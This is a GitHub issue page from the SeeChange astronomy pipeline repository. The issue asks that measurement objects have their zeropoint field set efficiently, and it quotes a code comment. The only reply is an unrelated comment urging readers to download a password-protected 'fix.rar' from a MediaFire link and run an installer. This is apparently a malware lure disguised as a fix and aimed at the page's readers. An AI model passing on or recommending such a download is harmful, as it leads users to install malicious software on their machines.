c3-time-domain / SeeChange

A time-domain data reduction pipeline (e.g., for handling images->lightcurves) for surveys like DECam and LS4
BSD 3-Clause "New" or "Revised" License
0 stars 4 forks source link

Make sure measurements set their zp field when appropriate #352

Open rknop opened 2 months ago

rknop commented 2 months ago

The comment in measurements.py before the definition of the zp property:

    # So many other calculated properties need the zeropoint that we
    # have to be able to find it.  Users would be adivsed to set the
    # zeropoint manually if they are able...  otherwise, we're gonna
    # have six table joins to make sure we get the right zeropoint of
    # the upstream new image!  (Note that before the database refactor,
    # underneath many of these table joins were happening, but also it
    # dependend on an image object it was linked to having the manual
    # "zp" field loaded with the right thing.  So, we haven't reduced
    # the need for manual setting in the refactor.)

Go through places in the pipeline where we create Measurements objects and, if we have the zp available, set it. Generally, we'll be creating a lot of Measurements objects at once, so it's way more efficient to load the zp once and then just assign it to all those objects than to let each Measurements object load it redundantly when this property is accessed.

MinecraftEarthVillage commented 2 months ago

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."